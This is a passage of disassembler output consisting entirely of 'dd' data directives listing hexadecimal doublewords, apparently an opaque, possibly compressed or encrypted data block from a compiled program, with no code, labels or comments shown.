		dd 0DDC2BE70h, 98F9AD20h, 180F2B0h, 9018A4BCh, 2FFA2650h
		dd 8FFCD738h, 0D7C05704h, 5B876533h, 628420A2h,	0CA10FBADh
		dd 0F1B42350h, 0CB180B7Ch, 0DAC82037h, 71CCAD0Dh, 7868A7DCh
		dd 3F00C5DEh, 2CDAFCBBh, 0E1DCFAB2h, 0A296474h,	2DC7CCB4h
		dd 0F89AAD54h, 0B0C05020h, 0C305083Eh, 0B3DED8ACh, 0B8DA20C0h
		dd 38C25CC8h, 0C3D6CC13h, 0B9A3CB44h, 3CE479DFh, 6E60D49Eh
		dd 71FFBC0Ah, 0C8AA0025h, 0C4B223D8h, 0AC2E22C5h, 0B90F8CDDh
		dd 8124ABD0h, 98032990h, 822125D0h, 0CBAA50C0h,	0C521C167h
		dd 0C970AC97h, 4FC8AF2Fh, 2D5049DFh, 503CC86Ch,	8F68E092h
		dd 28303DAEh, 5280D0B5h, 9EEC34B1h, 142FEC96h, 0F0348550h
		dd 7DE3DFC7h, 0D09BC090h, 7B72CDCh, 93100ECCh, 0B10C40A8h
		dd 0DE09DFC1h, 2FC6FAC0h, 0AB2C8000h, 7431D8FFh, 0C8C150BEh
		dd 3A309C93h, 0E090CA2Dh, 809CA220h, 0C3923821h, 3E8F102Fh
		dd 0DCD8D081h, 1AE8BE8Fh, 0F828CEB9h, 9C731260h, 0AE1C00C1h
		dd 0B928D793h, 0BC20C760h, 3ADEDAFBh, 291ECE81h, 0B80BE7B3h
		dd 2E73E0B8h, 44AEC4A1h, 0E68C2180h, 8FF83993h,	0DC22AACDh
		dd 0B3213E06h, 0A3AFFA88h, 0AEC0A1DCh, 0D81ED044h, 0B11F24DEh
		dd 0C6BF2344h, 0A3C304C1h, 0FE808040h, 0D96439C5h, 54B0C828h
		dd 0C293F0FFh, 2EC2BA60h, 8580DCF9h, 93B523CBh,	0DAE9C8C4h
		dd 9458FE14h, 6ED2DCF4h, 0B4860D6h, 0C364D1C1h,	0C97FD444h
		dd 44C7B024h, 0D2F48014h, 0F03D6499h, 1420FC24h, 300FE4BCh
		dd 0DEA7DDC3h, 0E8C9C6ACh, 0BBC0A460h, 962DDCC8h, 80F55F00h
		dd 1D598CE0h, 3A04763Dh, 2341466Dh, 0A0801C0Fh,	397948FDh
		dd 61BF1300h, 0D4FF53F8h, 26DA0306h, 499DED59h,	403922h
		dd 9C3E5FC1h, 375B0D19h, 48C339h, 1EB17BF9h, 1E575C35h
		dd 83CC0130h, 5E4D446Ah, 8045D1D9h, 0D9DC6F48h,	17DADEEh
		dd 53654AC7h, 0C43E98ACh, 96183056h, 0C868DF15h, 7BE25Dh
		dd 8DE4DDAAh, 6549791Ch, 0D70F5207h, 9D63CE37h,	73200272h
		dd 0DE937BDBh, 7AF2209Eh, 10C6008Ch, 0DDB4A8F1h, 2606EF99h
		dd 4F46DA20h, 82E4E9h, 0A4C9CF2Eh, 9CD06A8Fh, 217D08CCh
		dd 2E8A0F0Ah, 0E92107B9h, 8FC161ADh, 260C6D0h, 80DA558Dh
		dd 0B5A0F108h, 0C42078EEh, 457DF9B8h, 900449DAh, 0DF417775h
		dd 923BA3CFh, 54A43838h, 0AF500E2h, 224D4108h, 3B56335Fh
		dd 48D1201Ch, 5580009Bh, 39EBE715h, 0BF6C6D00h,	0A6E0DB87h
		dd 21351B57h, 90C0386Eh, 0B1281CF9h, 0D318084Fh, 0E67964EAh
		dd 9F5500CDh, 0F0BD4D47h, 0AD5033B1h, 0D545D9E0h, 18E868E0h
		dd 2897CD95h, 7B02FF23h, 0AEE68E03h, 66489198h,	1C99DE1Dh
		dd 903B0279h, 8C0A8D7Ch, 6C5E6203h, 0F98EDF7Ch,	8885FF31h
		dd 60A12029h, 302E89E0h, 118CC823h, 9111007Bh, 0DB0DFA2Eh
		dd 69980961h, 282C556Ch, 0BE619DB8h, 6A5B4308h,	0A80A824h
		dd 4ACFC1FDh, 0B323FCE4h, 6480380Bh, 0AC9FB56Dh, 0CA050D57h
		dd 0B951AAF6h, 4699D600h, 40C644h, 6D56ACA2h, 0D209FF14h
		dd 32281E00h, 1831C360h, 0E8877725h, 39BE6083h,	7071D019h
		dd 152AA401h, 5D8DC613h, 0B02EF0h, 0C2CE56DAh, 1AB89F3Eh
		dd 0BE96B19h, 3C485240h, 0E00C8EF9h, 38B91A26h,	0E5641843h
		dd 58BDB8C0h, 0E2EBE802h, 0B2A259h, 0E5D95EB9h,	5CB5B000h
		dd 8802E35Bh, 67440322h, 8F0D99C2h, 0A60028DEh,	47BF677h
		dd 39DD05E0h, 0DCBAD8AAh, 0B8996C00h, 7BEE9CA6h, 1C2479E6h
		dd 8018A476h, 0A5A2CCE8h, 3D210A0h, 285F7924h, 0E04006A1h
		dd 0B8BA8E1Eh, 8C44450Ah, 88486C43h, 3C046F51h,	8CAE7B20h
		dd 0B99C114h, 7BF48068h, 43F5E002h, 6B22DCh, 677BEC9Ah
		dd 0CCA81ABEh, 4E24A106h, 18D879E8h, 28B6E6B5h,	0CA548157h
		dd 0C7928C8h, 0FA00A07Bh, 8FB871EFh, 3F4091Ah, 23EE2718h
		dd 6100E4B6h, 6743F357h, 60462EE3h, 2C7EB8D3h, 94A0A151h
		dd 0B90D03AAh, 319D3FF8h, 6A12DCh, 0CB0D22B2h, 0CAFD1A5Bh
		dd 21C0B1E8h, 936A0ADBh, 0C3D30008h, 33BC9206h,	50C1C80Dh
		dd 0B27A1E80h, 37206880h, 1151D2B7h, 0A0EE5809h, 0C60820AAh
		dd 3165CB4h, 0BCBDC430h, 8759C27h, 0ACEB21C1h, 0CC57D5Ch
		dd 54CC6EE0h, 44E08863h, 0C700EC9Eh, 45F32165h,	0C2D26F2Ch
		dd 0CA56E280h, 77B7E0A0h, 74EC2354h, 8F408A65h,	3DCABC20h
		dd 0F2B40005h, 25714416h, 623F5E9Dh, 28C69EC0h,	6D464DC1h
		dd 40EA92DDh, 409F098h,	43F93359h, 0A77806Fh, 0D8A0E7ABh
		dd 0A5807D2Ch, 0C4BF300Dh, 0EC45C230h, 33187E60h, 80F1B0DDh
		dd 0CF0A72FFh, 8C899909h, 9194EF11h, 0CC30170Ah, 40BFC48Ch
		dd 0CA5CADECh, 71EB02C3h, 0A63FDAB4h, 54F588A3h, 89D680D0h
		dd 0C1AC4503h, 8F9A274Fh, 5166E873h, 0D002DC88h, 3C4101D0h
		dd 1DDC24F5h, 0AEB21F18h, 498EFB18h, 0EC006061h, 4382EB60h
		dd 0CC0021E7h, 0F2981A96h, 0E02C2F38h, 6A2E15E2h, 0CF00F8ADh
		dd 307529C7h, 94EF4B0Dh, 0C1E098F0h, 0BA02E531h, 1F438448h
		dd 583E2662h, 152F2090h, 98B88F54h, 21278900h, 0AD2C419Eh
		dd 66A8C2B9h, 6C64C326h, 25293203h, 277E846h, 26E30740h
		dd 7445BC6Ah, 4652A301h, 20C877F9h, 73740090h, 0E6486192h
		dd 5612D48Ah, 5C41DE4Fh, 9DA943E1h, 1E883883h, 1856AAC2h
		dd 5CC12634h, 0F6D465Eh, 233DFDBh, 0A0A44177h, 0F090BBDCh
		dd 61690EADh, 0E9C4A5DCh
		dd 0EA3C822Fh, 0F911D00Ah, 0B36A1380h, 448C1522h, 0B0EDCB4h
		dd 0C0EE7C6Ah, 0C17FB149h, 0FA8CA323h, 9D4C14CDh, 8CB0E800h
		dd 0CC02FF90h, 0E1E60D3h, 0BB0048D4h, 7377025Dh, 0C592F530h
		dd 9FE0A114h, 0D8A31A10h, 0F07ABD12h, 482E9064h, 0DCF48C79h
		dd 0C59C4F03h, 0E77E43E8h, 876972A0h, 0A8C25073h, 9CE9405Eh
		dd 64F87519h, 0F0236C90h, 0A722E001h, 24BC81A9h, 1AE0D930h
		dd 0FB41F401h, 0EB399D7Bh, 21D3089Bh, 0B61AF8D8h, 51DADC0Ah
		dd 41008528h, 675C9B02h, 2C420A23h, 2BB4BAD9h, 0AD683230h
		dd 81A0430h, 7C1B41F8h,	0FF40D264h, 34C51AFCh, 0A9A81E1Ch
		dd 10409509h, 0AD7520h,	1AE2E8Bh, 0CA5F5CF1h, 0DAE4D108h
		dd 60F212C6h, 8F58665Ch, 9C28A624h, 2079C808h, 0C7FA2090h
		dd 0A03E5F1Ch, 66ED0CE0h, 4489BF23h, 0E3F9343Bh, 9C52649h
		dd 5E2EC819h, 36E08420h, 892C992h, 6A0D9A02h, 48688F3Ch
		dd 0C43884h, 0CD3083B1h, 36BA3A49h, 14CE3100h, 0BE3433F2h
		dd 0D76B1353h, 291C71B6h, 0E143327h, 0D8E0120Ch, 21759DC8h
		dd 1A086354h, 201D51C1h, 0BD67AE80h, 31004A99h,	1D120DACh
		dd 4DA659B1h, 2638CC5Fh, 10584848h, 4848E6DEh, 19281Eh
		dd 0FFC563ABh, 0F5044B71h, 5DD03E22h, 85EF7094h, 9EB030A2h
		dd 0A74D42A8h, 4E0E00E0h, 672DE194h, 0A0D15419h, 21BA60A2h
		dd 1BD26D2Fh, 211FBE72h, 0E500185Bh, 0F644669Ch, 115E0B8Bh
		dd 8E06B828h, 160560A5h, 6FEBB174h, 0E30C5C20h,	50349891h
		dd 9AC7CE81h, 212C13F8h, 23603EB6h, 0E014A66Bh,	2BE74727h
		dd 0FF9D6000h, 4FC86839h, 0C6A33F21h, 20907516h, 0F5CA3624h
		dd 701F8F02h, 0B066261Eh, 29ECCFF0h, 4BC0E7C2h,	539F8004h
		dd 5AA0B404h, 0C9832842h, 59CEA0A0h, 741DC4EAh,	43401086h
		dd 0AD06B046h, 2AF8245Eh, 9CD108C4h, 6958A700h,	5917288Fh
		dd 0DE89F012h, 60A8CC04h, 72F31AFFh, 227B4341h,	0F7FA00D5h
		dd 54334C1Ah, 430EBABFh, 0E99422E5h, 0EC584890h, 0E3700079h
		dd 5DF6384Fh, 3F12474Bh, 941CB508h, 6790BA00h, 902BFCBh
		dd 82E61922h, 0E487DC49h, 0BA5D45C3h, 1EF9802Ch, 1E659D5Fh
		dd 0C5B9126Eh, 0CA824C75h, 0C8811834h, 0EB2249h, 0E98B3C8Eh
		dd 965891CAh, 0D167C700h, 39F2FFC1h, 56060980h,	9C8222DFh
		dd 0E8442BC8h, 20F08258h, 2920A0D3h, 0FC6082C1h, 28B1C8FAh
		dd 3DA29B40h, 488BAF0h,	0AB85BC0Eh, 0D9C0925Fh,	608CB704h
		dd 0D01E18E4h, 3BC118DFh, 13AF8920h, 2F236A56h,	0D52394h
		dd 4726D342h, 890125A0h, 303AA88Eh, 0C35DAE5h, 5BF4D841h
		dd 0CE948304h, 2418CAA4h, 0E1190E9h, 57BF780h, 448C0DE0h
		dd 0EF009D71h, 82D48C7Bh, 1E33BB9h, 0A24E20BBh,	0E10D790Fh
		dd 42DC2667h, 306DE230h, 64135E9Ch, 1840B4A2h, 0E53547Ah
		dd 435D00F9h, 0D27E16B0h, 0BE093356h, 1B348824h, 20F81208h
		dd 23A02086h, 664C684Eh, 0C55E849Ch, 0AD3FA803h, 0F52E617Ch
		dd 1982D89Ah, 7055CC76h, 1D660B2Ch, 22A813h, 0AD215C34h
		dd 10C019F9h, 9361240h,	0AEE80DD5h, 7851EE39h, 0C518C371h
		dd 0A4B0D703h, 80285AF9h, 5867888Ch, 2BC8401Dh,	0CCFE4E61h
		dd 44E01802h, 0F980BCDAh, 59B063A1h, 0FFB04736h, 8404AB75h
		dd 0A2406163h, 0D4C134D0h, 0E336064Dh, 0D03432E4h, 4CA8082Eh
		dd 1180F711h, 522B16Ah,	9DA0B87h, 3880C480h, 6C0B98B7h
		dd 0A02933C2h, 0E19AC108h, 0C9A4E43Bh, 409D9911h, 0B380CF11h
		dd 833B88E0h, 8107D4B1h, 0D4A3A2CFh, 0A15819C7h, 208CF9B8h
		dd 0F20F2D14h, 23DA7912h, 8070E853h, 18677F13h,	0C1AB4111h
		dd 0AC00A1D4h, 0C3B2837Ah, 148BDDh, 0CECF37CAh,	0B81D5633h
		dd 0CC223C4Ah, 0DDEBC050h, 24927Eh, 54E69952h, 8BA622C4h
		dd 0AFAA2614h, 0C45868CCh, 0DBE20340h, 344FF0A5h, 3A20B39Eh
		dd 1FD32384h, 2107C009h, 149C3CA8h, 5C75A509h, 0ED78216Bh
		dd 9881E25Ah, 0E37643FFh, 0DB78D059h, 0B4325610h, 611BB807h
		dd 73BCF31Ch, 0CBA63800h, 0E2FA08B2h, 78711259h, 0DD8C4B5Fh
		dd 28C5F0Ah, 1DB5626h, 0F52BA500h, 152A0C10h, 9920D4AFh
		dd 0A7142D7Dh, 0E02070ECh, 8682FECAh, 4AE53208h, 462204DFh
		dd 64CD09Ch, 0D0A8AD41h, 0FC2E61ABh, 0C3020019h, 0DFB918AEh
		dd 0C8693A60h, 9E038426h, 10266709h, 4D5C420Ch,	0B800E035h
		dd 1A287924h, 0DB2E3472h, 62EEFCC8h, 0E8A8162Eh, 4F6898h
		dd 0D90D4C62h, 576E5D7Ah, 43406894h, 99C53D34h,	0B12B61E8h
		dd 32E208BAh, 0A7299D3Bh, 0B379F451h, 36028B18h, 74A07A98h
		dd 0E170616Fh, 9411A261h, 6D007F6Ch, 0B9412D58h, 0E4C0341Ah
		dd 631E9A7h, 2800B6EEh,	1DAE6D2Ah, 0F1C7F1C4h, 0D71FDC32h
		dd 0D344676h, 0FF0389E2h, 0F04A4977h, 99C2A8B7h, 0F49B08h
		dd 0E0FF7BF1h, 4486DCDDh, 0E900976Fh, 0CD75187Bh, 0BE26BF5h
		dd 0A02C4688h, 58ACAD00h, 489C4A1Eh, 5C1F3B07h,	732BC741h
		dd 56E0418Fh, 7F20CEECh, 9C342C1Bh, 0DC814C39h,	30C35A10h
		dd 0F8B2D81Eh, 17151229h, 0C5852CEh, 6651C4A8h,	20921A7Ch
		dd 0D380A091h, 90EF7156h, 9A050F16h, 72267B41h,	124858B5h
		dd 0BB760A80h, 9C112890h, 40603F24h, 919B647h, 97B7CA00h
		dd 8626D2AEh, 0A8A0492h, 0C74D9BBFh, 55A2E7E5h,	265C9090h
		dd 1A701F4Ah, 5D56DA3Bh, 0B5B80640h, 0E59ACDBh,	1F774491h
		dd 0A891622Dh, 2C108019h, 0BD00CB61h, 14AA9425h, 0F8C2DB43h
		dd 0C0AB7C8Fh, 80AC176Ch, 3A01281Fh, 0DD6E073Dh, 9055C08Ah
		dd 4DBC2C41h, 0FC296A04h, 64397102h, 0B881978Ah, 623DA857h
		dd 0E53104A4h, 0B0B2E642h, 40B928C4h, 7DB32D21h, 5E0CB49Ch
		dd 6F00BB46h, 9462D96Ah, 9D7A3C9Ah, 0AFDEB615h,	0A0EB0C80h
		dd 0A0FC31B5h, 7FA9B94h, 768AF783h, 2D7018Ch, 0A60E60BCh
		dd 0A2403894h, 94733055h, 7589EF30h, 579FB810h,	3C426A0Eh
		dd 18B0D451h, 24D99DBFh, 6CB0304Eh, 7153128h, 867CC24Ch
		dd 1019874Ch, 1EBEEEDh,	0E07038ECh, 1C6C8998h, 78CBFBCh
		dd 0A914030Fh, 4882093Bh, 3900D65Eh, 0FCA10E86h, 46409AA7h
		dd 6A1502FBh, 312522B5h, 0DDE10ADh, 68FE5C6Ah, 9E0F8B22h
		dd 0D99B19A8h, 41D57068h, 8BAD7060h, 66BFE2A8h,	0E9B84C13h
		dd 0CEC8FC8Bh, 0C90178CAh, 0C7121E60h, 813CB700h, 5DDAB4A8h
		dd 6C20C55Bh, 0BF092Eh,	0A2F02B93h, 239CD705h, 753D9B3Ch
		dd 0D828B8FAh, 110AC6Dh, 2317A739h, 0BF4023AAh,	0E8D74931h
		dd 0F6004C5Eh, 32252F56h, 1F04A4AAh, 1CA67485h,	0DF0EFF02h
		dd 10CE69F7h, 0AE6B409Ch, 804F82ECh, 9889A4h, 0C153BE94h
		dd 2EC24A58h, 1F70238Ch, 10308091h, 562307F7h, 0B0825C2Dh
		dd 3EABDF8h, 1E16B2DFh,	50EF750Dh, 0D598E9C8h, 47227A00h
		dd 27E3C7A5h, 227C9AD1h, 443AF81Ch, 0C8585576h,	0C662893Ch
		dd 0E67E2FD1h, 2AA465Ch, 41F51A01h, 10CE3103h, 501AF9FCh
		dd 2589AB82h, 5C02BA36h, 0D8684AA1h, 6EE82E31h,	8F3824E3h
		dd 0F280A89Ch, 0C95E33C3h, 5F920693h, 59CD8312h, 0DF54F100h
		dd 0D43BEC15h, 0A8E0052h, 1DB81F6Bh, 45741842h,	24D98124h
		dd 0AA6A03Ch, 0AA3E1EE0h, 260A3C64h, 0A08D0BAh,	2DC6CE2h
		dd 0BF8F53BDh, 20B01841h, 76092424h, 4380627Ch,	0C090C2F0h
		dd 80B664CCh, 2C1772FFh, 140BE95Fh, 0B0AC6289h,	13301828h
		dd 0D0170Dh, 65C7FA00h,	0B1021D28h, 821E67A6h, 0AC800CA8h
		dd 302B0ACh, 1341F71Ah
		dd 10CC197Ch, 481AFBFEh, 0C40940C0h, 0B441A24Dh, 1C302609h
		dd 0E0047BF2h, 0ECB2DCE5h, 7BEA9880h, 10191EBh,	5172AF1Dh
		dd 402233C8h, 0CB27660Ch, 0B34AA171h, 0F2E6B447h, 9BC25110h
		dd 5242046Ch, 95019F65h, 0E234A280h, 368530D2h,	0F72D8203h
		dd 0BA58CEA1h, 0B7D8996Eh, 0FD048076h, 0B8A340h, 0CB496232h
		dd 709902F1h, 81893E6h,	60BB440h, 8D4008DBh, 1AFE4820h
		dd 0EB4123F2h, 0F907D411h, 20B41AF6h, 5D4C7F45h, 0CA0C333Eh
		dd 6DF888h, 0D7311985h,	338BBC93h, 68B38D30h, 26A67F16h
		dd 2C0730Bh, 0E2F6ECB1h, 0F75CFCDAh, 0C0AE3860h, 2249311h
		dd 0B7E29A19h, 6E823843h, 924874D2h, 682F4F02h,	54036E23h
		dd 0C18D6FFCh, 143812EDh, 9639FF01h, 603BE2B7h,	3D24A96Ch
		dd 0C982C82Fh, 0C8BB56ECh, 487A6E60h, 0FC01CC4Fh, 2BAC52BDh
		dd 0C69C30B2h, 8882FB24h, 6060EB96h, 23135CB1h,	0BA11AC30h
		dd 5CA9E800h, 6E5321Dh,	0B44A3CB6h, 8024EC14h, 30145CB2h
		dd 0E90387B4h, 40685CAAh, 0B3FDAC38h, 6A170974h, 0A2351804h
		dd 0FE0C580h, 0AF46E680h, 344A1486h, 0FB7A90AAh, 600F7211h
		dd 30158A93h, 4AD060DDh, 0B15088h, 93B5F3F5h, 0FAB2B991h
		dd 0EABCCE0Fh, 9779A0DCh, 0C0B79C03h, 98312798h, 42F37A70h
		dd 7468669Ch, 4632DD2Fh, 0E6E970DAh, 0F23B055Ch, 0C3C792B3h
		dd 0D0E77CA0h, 0E48D5DF5h, 0E7881A00h, 5EC98F6h, 439D04C2h
		dd 0B49B013Ch, 0D140124Ch, 3901338h, 293406EAh,	32068804h
		dd 6A33EE41h, 0A85F0098h, 0C1EC23A4h, 0AE6FA09Ah, 7A97C281h
		dd 0AA05E01Ah, 1980F3A1h, 0B13C7D8Bh, 8D01EFD6h, 9E181EE9h
		dd 20F976BDh, 0F37DB482h, 9CCA5CB7h, 6ED10079h,	0BD140A18h
		dd 10C867D3h, 2400BCE6h, 82BE5C8Fh, 90C0C010h, 59E3616Bh
		dd 552C1742h, 0CE1452A0h, 0FE79C874h, 4F57942h,	0E4C76620h
		dd 0D80077CCh, 1831D97Fh, 94B47623h, 886D1294h,	0B8419AC0h
		dd 7809468h, 9D88E5CBh,	81100F1Dh, 0D8057516h, 40CEACAAh
		dd 40A98C40h, 6D3EBFA4h, 0B4172C94h, 4E5D9809h,	18C0A374h
		dd 0C9C35AA8h, 4A5D173Eh, 0EC345E8Ch, 0A8B9A8C1h, 2D596200h
		dd 7109E2F8h, 607B2C46h, 4C98A7E0h, 0D7506C8Ch,	3BF8C090h
		dd 0C30E60DFh, 0E6DAE8C4h, 704E9860h, 0CB987463h, 0DA191E56h
		dd 62190091h, 7A2C3E60h, 349420D7h, 44948C80h, 0AEF93064h
		dd 0EB56D790h, 0B82460BAh, 61302EB5h, 8840559Ah, 0B1408D8Fh
		dd 0DE56245Ah, 643B8398h, 0B4ACC799h, 5840756Ch, 4FE34BB5h
		dd 7469A2B0h, 95137871h, 39F90C40h, 3FC95877h, 1E9DD2C8h
		dd 195830FAh, 2E25E2F7h, 22D00002h, 1958BDA8h, 72C1C63Ah
		dd 28806D2Fh, 45035840h, 0E24A3C9Ah, 8247E818h,	0B6500286h
		dd 0CF8B7C1Eh, 14D9E040h, 0E0DD2B2Ah, 77FC4E12h, 50931CA4h
		dd 0D4BFE80Eh, 9F0B3CA1h, 30B798C2h, 3404AA93h,	814ADDDh
		dd 15B4DF2Ah, 0C0B92BE9h, 7A2E7858h, 34746FA8h,	0F91A0580h
		dd 6CBC2341h, 0C880855Bh, 7590E16Bh, 295E0508h,	0F25B527Bh
		dd 9F4200B0h, 0D2815855h, 4B0E0207h, 49DE3E27h,	6A4F1C50h
		dd 88AA3040h, 0C34C4h, 7CCAC20Ah, 938A53C0h, 127FD500h
		dd 0E30D08B3h, 78440370h, 0D8B22F57h, 29C7B813h, 24BD5820h
		dd 77DBB8B3h, 519092D6h, 46F0A8ABh, 4594884h, 18671892h
		dd 0CA09098Eh, 72CBFF14h, 0A468480Ch, 0C2EC944Ch, 0DFB21C8Ch
		dd 0E00BE3Fh, 0FDFC46F6h, 134C67E2h, 0C7FA1290h, 0AFB2A0E3h
		dd 0B83AFC30h, 70D801B6h, 0A21D2739h, 7EE89312h, 821A5480h
		dd 485C75B5h, 4B2AE81Fh, 46A82580h, 0E4B50422h,	76416054h
		dd 0F6025C74h, 0C97AE0E0h, 0E879A181h, 0FCC5DB01h, 0E8B8C39Ah
		dd 61097D5Bh, 8221A8CCh, 42997A68h, 8F66802Ch, 0AFA5BB46h
		dd 0BCFBC174h, 22387060h, 6623DF40h, 0D16EE890h, 0F35E9496h
		dd 0C07C8019h, 0EE087416h, 82E02521h, 4870D848h, 0FB4C9D03h
		dd 886D97F0h, 9166E8Ch,	54D17951h, 8BE99882h, 4A4EE001h
		dd 8125868h, 4D24E490h,	0B31D3600h, 43547F81h, 0CB040033h
		dd 93F174D3h, 99484CCDh, 110CC130h, 9858FBA0h, 91C06782h
		dd 6C831F3Fh, 22E88497h, 39C7743Eh, 19C00EB5h, 541EE508h
		dd 2443C03Dh, 89F82134h, 308424A7h, 0DA50257h, 0E49C9B5Bh
		dd 0B66A1660h, 3C2D2223h, 0E0EDFC4h, 8147AE6Ah,	994FB488h
		dd 27DD170h, 0FAB7FD0Fh, 0C8400612h, 249BB61Ah,	4166A0DBh
		dd 0C46B02DAh, 8CCC26E6h, 0D9DFCC40h, 3D43F980h, 3C83D876h
		dd 8A1EE108h, 0B018F905h, 0F0E0D2F4h, 0E43E1324h, 56BCA46Dh
		dd 0CAB8AE58h, 6082E0F7h, 20D8B636h, 0E33F0CA8h, 0D1410099h
		dd 433A7314h, 67084EFCh, 0DCD7581Dh, 0A88688ECh, 2F90A577h
		dd 3C27BDC6h, 0C4678D9h, 74C496A8h, 0BE1FD446h,	0CF6B1C30h
		dd 0D0E0E785h, 9CA87A42h, 5AB47514h, 594AA1F0h,	22043436h
		dd 0A85E344Eh, 0C1299AA8h, 57100918h, 80BEEA34h, 0C761E640h
		dd 0F018490Ah, 193C8B9Ch, 3056B825h, 1C7939F8h,	177BD13h
		dd 700000A2h, 2FA0BEF5h, 74125578h, 0E0083CE6h,	456962h
		dd 4B63AE64h, 0D5D178A8h, 0A2C84D0Bh, 5EE84AC0h, 8B02DCD0h
		dd 0A5732B7Fh, 0B1F0404Dh, 82D8808Ch, 25B85C01h, 27320912h
		dd 41045C60h, 0F00C304Bh, 5CB6058Ch, 0B2D43018h, 0AEEDC000h
		dd 71056B5Ch, 0CD4C092Fh, 9C0BEAA7h, 18F6E0E1h,	0B06A1A10h
		dd 0C896B022h, 6A08D900h, 85E0E5A9h, 650700CCh,	427F3F21h
		dd 0C352812Ch, 0AF3A11D0h, 0F78E9000h, 52BDD362h, 0DD87ED09h
		dd 0AC505959h, 0CA6E0878h, 188F3817h, 0A419B0Bh, 761C34A0h
		dd 0D49485E8h, 0E91E6605h, 8A14CA4h, 0A99556DBh, 0F284842Dh
		dd 0D7BCD451h, 5A6C7D04h, 0E482C928h, 40D4A24Eh, 957478C2h
		dd 0B3918417h, 0D09E4D80h, 0F10B0427h, 0E88F9047h, 41DE2658h
		dd 397091C9h, 0F99C109h, 0F8049066h, 15E1067Bh,	9E207462h
		dd 38907BF0h, 170F5AD5h, 23E0BB34h, 444622A4h, 4BC7C59h
		dd 0D08656E0h, 5B8EB848h, 7613C024h, 1AE837Fh, 2C8B43E9h
		dd 0D9A1CC78h, 1200609Eh, 2399A40h, 641BE26Eh, 0D094A7D2h
		dd 0B881D7Eh, 2EE00CF9h, 1270B1AEh, 1054014Ch, 0C7179B38h
		dd 40CCD233h, 0A886B0D4h, 1899AF42h, 199BDDB5h,	34B819F9h
		dd 0EEAD0120h, 0A8A1058Eh, 0E2C04DA2h, 215030D0h, 0E93C7622h
		dd 56E2F982h, 20F3D17Ah, 0B1506680h, 0B64928h, 1CD59802h
		dd 0A93FB77Dh, 0E5403CA2h, 0FA000B04h, 3BBA3348h, 478C5Fh
		dd 430902C4h, 4183212h,	0AE79B091h, 1DA06F19h, 1FD15B64h
		dd 0C20E0444h, 202CE629h, 67430BC0h, 0DC296D10h, 6B7CD483h
		dd 0CDF5F908h, 8C980262h, 7073AF02h, 0F29B090h,	5FBCC220h
		dd 38201033h, 1831007Ah, 15288724h, 1AC9A7Bh, 0B90C2B08h
		dd 50433CA8h, 0E6365E4h, 1893CB7Eh, 2FDCD03Bh, 7420E989h
		dd 498E4E0Fh, 20F24E08h, 0A61C2908h, 19B607Eh, 0FA13BF08h
		dd 9CA3B82Fh, 0E377B780h, 2CA64671h, 7A0A3496h,	0B19E3CABh
		dd 315CAEE2h, 0D720A1CBh, 0A042018Dh, 2FC01091h, 7C0894A7h
		dd 6B3B80E2h, 183C685Ch, 0E0A13544h, 0D0D6201Eh, 488F1925h
		dd 1C02B79Ch, 132A4EBh,	0FD76893Ah, 62A46011h, 2723D540h
		dd 7429CC81h, 4670947Bh, 0A1641183h, 665900ADh,	90BC4267h
		dd 2E06E424h, 9F091DBh,	30F1DFDAh, 2885408h, 0DB1EDD6Dh
		dd 0E8ACC471h, 4B04674h, 6FF9FFF6h, 99CE0881h, 0BD940404h
		dd 0D74006BFh, 56220931h
		dd 421589Ch, 2BE6DB15h,	792AC844h, 0AD0384E7h, 1E8BCC94h
		dd 1DFCB1C8h, 7425B301h, 3E0D75D6h, 41E7A460h, 0A874AD4Ah
		dd 0C91BE408h, 0C245B119h, 0CB0156Bh, 3C64E209h, 0DC54F8CEh
		dd 44B610A4h, 0C3465Ch,	18F28EE0h, 2F4A826h, 0D808D6EEh
		dd 145C586Ah, 916309EFh, 90E28A88h, 805ED08Ch, 0C0AAB58Fh
		dd 7279E4D9h, 6000BD18h, 494A20Ch, 2DCA5D1Dh, 0B46102ECh
		dd 0D4473B24h, 0D1DB8039h, 1F2CF130h, 3B5E2CC8h, 4C782350h
		dd 838B4C6Ah, 0D4A840E8h, 54C96F00h, 58B95905h,	0AEF500C7h
		dd 0F6FB5FA0h, 0C02E464Fh, 570214D8h, 0C0A72392h, 96D14E88h
		dd 1ABD8028h, 0A8580282h, 0E488F198h, 0A4A9698Eh, 537080C9h
		dd 7E3524A7h, 4BB40045h, 0F8E331E4h, 76F8A4C3h,	26A46849h
		dd 9E091405h, 0D99051D9h, 0D618D3h, 340E2D20h, 0FF5F9B36h
		dd 95047101h, 0DCB6791Eh, 82278429h, 0B2597448h, 1C0B5516h
		dd 921EF804h, 3BC1BC90h, 16A740D9h, 33508D04h, 6C92036Bh
		dd 5CB030EAh, 0A4301211h, 0E780C188h, 0F0315CA8h, 16EF88Dh
		dd 443621FFh, 3BCC4164h, 0A672E840h, 2E3533DDh,	74C85811h
		dd 0C61CB446h, 7679005Ch, 0E3699B5Ah, 601F6405h, 0E0063A19h
		dd 160863E1h, 0F1F62EE2h, 1730377Ch, 0E4B4C281h, 13E0033Bh
		dd 9C2C0D84h, 4D1742DFh, 0E9B04CE0h, 15320E0Bh,	0F3D86047h
		dd 0FD341841h, 6E9AD1A3h, 68E9C2FEh, 0C7127898h, 0C040592Ah
		dd 0A8B8024Fh, 0B1E49066h, 2278A86Ch, 0B518D4FAh, 22E1D2DBh
		dd 62FC2E6Eh, 89CF455Ch, 34232F54h, 695BE8B6h, 0A3AA3F38h
		dd 0F9B14883h, 25883218h, 8960743Eh, 56810740h,	38D5594Ah
		dd 0D0489025h, 862936E0h, 64088CCDh, 0B266138Ch, 3BE4048Ch
		dd 0A700C861h, 6C244E22h, 0FE42D49Eh, 1AB705D8h, 0B80341FAh
		dd 1911BDCAh, 0A0501D3Ch, 0C4F5048Bh, 0B8F04DC2h, 182B0744h
		dd 8C3A3DA9h, 0C0D93829h, 0CD01E118h, 0FDA512C4h, 603D81B4h
		dd 8715EF00h, 38BB002h,	88762517h, 40FF9C80h, 60B95854h
		dd 38CB4F8h, 8309E73Bh,	0CDB98988h, 0C2940h, 7F8515C1h
		dd 0F98080Ch, 1FEEED84h, 0F9947D02h, 1496BC41h,	0D2F254E2h
		dd 770DCC30h, 0A86F0344h, 0C1216763h, 320B2104h, 10A8FAEDh
		dd 7A42F20Fh, 3E714F8Dh, 0CC23203Ah, 0AC050B12h, 0E802B2FCh
		dd 79FB065h, 522C9524h,	60B8F5E0h, 4A889B1Ch, 0B4DFF0CBh
		dd 0A44641F4h, 6810015Bh, 0F1E87420h, 81C8EC63h, 2CF928A8h
		dd 0F3268384h, 0F56FE0BAh, 118A389Ah, 0D7A0D106h, 0EF00080Ch
